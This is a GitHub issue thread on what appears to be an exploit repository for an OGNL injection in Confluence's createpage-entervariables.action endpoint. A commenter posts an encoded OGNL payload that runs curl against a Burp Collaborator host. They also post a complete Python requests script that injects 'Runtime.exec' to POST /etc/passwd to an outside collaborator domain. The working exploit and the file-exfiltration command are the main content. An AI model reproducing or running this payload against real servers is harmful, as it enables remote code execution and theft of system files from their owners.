Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

not working, but another payload is ok #5

Closed
foozzi opened this issue Sep 2, 2021 · 2 comments
Closed

not working, but another payload is ok #5

foozzi opened this issue Sep 2, 2021 · 2 comments

Comments

@foozzi
Copy link

foozzi commented Sep 2, 2021

shell not work (empty input), but payload like:
aaa\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022java.lang.Runtime\u0022).getMethod(\u0022getRuntime\u0022,null).invoke(null,null).exec(\u0022curl <instance>.burpcollaborator.net\u0022)}%2b\u0027

work fine, why?

@hev0x
Copy link
Owner

hev0x commented Sep 2, 2021

I think the host you're testing might be safe, this always happens or you only testing in the same host?

@foozzi
Copy link
Author

foozzi commented Sep 2, 2021

I think the host you're testing might be safe, this always happens or you only testing in the same host?

i tested 1 host
this payload work fine and sends me the contents of the file /etc/passwd

import requests

command = "curl -X POST --data-binary @/etc/passwd orjxqml6n7srf66ctnpaz6zb92f13q.burpcollaborator.net"

src_url = "https://local.local"

burp0_url = src_url + "/pages/createpage-entervariables.action"
burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
burp0_data = {"queryString": "lalalla\\u0027,(linkCreation)(0xd0ff90),\\u0027lalalala", "linkCreation": "@java.lang.Runtime@getRuntime().exec('"+command+"')"}

requests.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False)

@hev0x hev0x closed this as completed Sep 2, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants